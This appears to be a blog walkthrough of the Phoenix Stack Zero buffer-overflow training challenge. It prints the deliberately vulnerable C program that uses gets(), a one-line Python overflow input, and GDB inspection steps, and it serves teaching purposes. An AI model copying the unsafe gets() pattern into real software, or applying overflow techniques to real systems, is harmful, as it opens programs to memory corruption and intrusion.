643 words
3 minutes
Phoenix Stack Zero – Setting Up a Buffer Overflow Lab

Phoenix Stack Zero – Buffer Overflow Walkthrough#

Overview#

Stack Zero is the entry-level challenge from Exploit Education’s Phoenix series. It teaches one of the most fundamental concepts in binary exploitation: stack buffer overflows.

The goal is straightforward — overflow a buffer to overwrite an adjacent variable called changeme.

No local setup required. Everything runs inside the official Phoenix Docker image.


Environment Setup#

Using the Official Phoenix Docker Image#

Pull and run the Phoenix container:

Terminal window
docker pull exploiteducation/phoenix:amd64-latest
docker run --rm -it exploiteducation/phoenix:amd64-latest

Once inside the container, navigate to the challenge:

Terminal window
cd /opt/phoenix/amd64
ls

You should see stack-zero listed among the binaries. All protections are pre-configured for learning — no manual disabling needed.


The Vulnerable Program#

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);
int main(int argc, char **argv)
{
struct {
char buffer[64];
volatile int changeme;
} locals;
locals.changeme = 0;
gets(locals.buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts("Uh oh, 'changeme' has not yet been changed.");
}
exit(0);
}

Understanding the Vulnerability#

Memory Layout#

Inside the struct, variables are laid out sequentially in memory:

Low addresses
┌──────────────────┐
│ buffer[64] │ ← input goes here
├──────────────────┤
│ changeme (int) │ ← sits directly after buffer
└──────────────────┘
High addresses

Why gets() Is the Problem#

gets() reads user input with no length checking. It will keep writing bytes into memory until it hits a newline or EOF — blowing right past the 64-byte buffer boundary and into changeme.

// Unsafe — no bounds checking
gets(locals.buffer);
// Safe alternative
fgets(locals.buffer, sizeof(locals.buffer), stdin);

gets() was so dangerous it was formally removed from the C standard (C11). Any program still using it is vulnerable by design.


Step-by-Step Exploitation#

Step 1 — Run the Program Normally#

Terminal window
./stack-zero

Type any short input (under 64 chars) and press Enter:

hello
Uh oh, 'changeme' has not yet been changed.

The variable remains zero. Nothing interesting happens yet.


Step 2 — Trigger the Overflow#

The buffer holds 64 bytes. Sending 65 or more bytes will spill into changeme.

Terminal window
python3 -c "print('A' * 65)" | ./stack-zero

Output:

Well done, the 'changeme' variable has been changed!

That’s it. One extra byte is enough because the program only checks whether changeme != 0.


Step 3 — Confirm With GDB#

Start GDB on the binary:

Terminal window
gdb ./stack-zero

Set a breakpoint and run:

(gdb) break main
(gdb) run

Inspect the addresses of both variables:

(gdb) print &locals.buffer
(gdb) print &locals.changeme

You’ll see that changeme lives exactly 64 bytes after the start of buffer — confirming the offset:

&locals.buffer = 0x7fffffffe490
&locals.changeme = 0x7fffffffe4d0 ← exactly +64

Examine memory after overflow:

(gdb) x/72xb &locals.buffer

You’ll see 0x41 (A) filling the buffer and bleeding into changeme’s bytes.


Why This Works#

Input sizeEffect
≤ 64 bytesStays in buffer, changeme untouched
65 bytesOverwrites first byte of changeme
68+ bytesFully overwrites all 4 bytes of changeme

The check if (locals.changeme != 0) passes the moment any byte of changeme becomes non-zero.


Key Concepts#

ConceptWhat It Means
Stack buffer overflowWriting past a buffer’s boundary into adjacent memory
Adjacent memory corruptionVariables next to an overflowed buffer get overwritten
volatile keywordPrevents the compiler from optimizing away reads of changeme
gets() dangerNo bounds check = arbitrary memory write
Stack canariesA protection (disabled here) that detects overflows before return

Learning Progression#

Stack Zero sits at the very beginning of the binary exploitation path:

Stack Zero → variable overwrite
Stack One → control specific variable value
Stack Two → environment-based overwrite
Stack Three → overwrite function pointer
Stack Four+ → control return address → full code execution

Each level builds directly on the last.


Tools Reference#

ToolUse
gdbDebugger — inspect memory, set breakpoints
python3Generate payloads quickly
objdump -dDisassemble binary
readelf -aInspect ELF headers and sections
stringsFind readable strings in a binary
pwntoolsPython library for exploit scripting
gef / pedaGDB extensions with better visualization

Install pwntools inside the container if needed:

Terminal window
pip install pwntools

Takeaways#

  • A single byte past a buffer boundary can change program behavior
  • Stack variables are laid out sequentially — overflows affect neighbors
  • gets() is never safe, ever, under any circumstances
  • Understanding memory layout is the foundation of all binary exploitation
  • The Phoenix image gives you a ready-to-go lab with zero configuration

From here, move on to Stack One to practice writing a specific value into an overwritten variable rather than just any non-zero byte.

Phoenix Stack Zero – Setting Up a Buffer Overflow Lab
https://frqblog.vercel.app/posts/phoenix-stack-zero--setting-up-a-buffer-overflow-lab/
Author
frqblog
Published at
2026-03-16
License
CC BY-NC-SA 4.0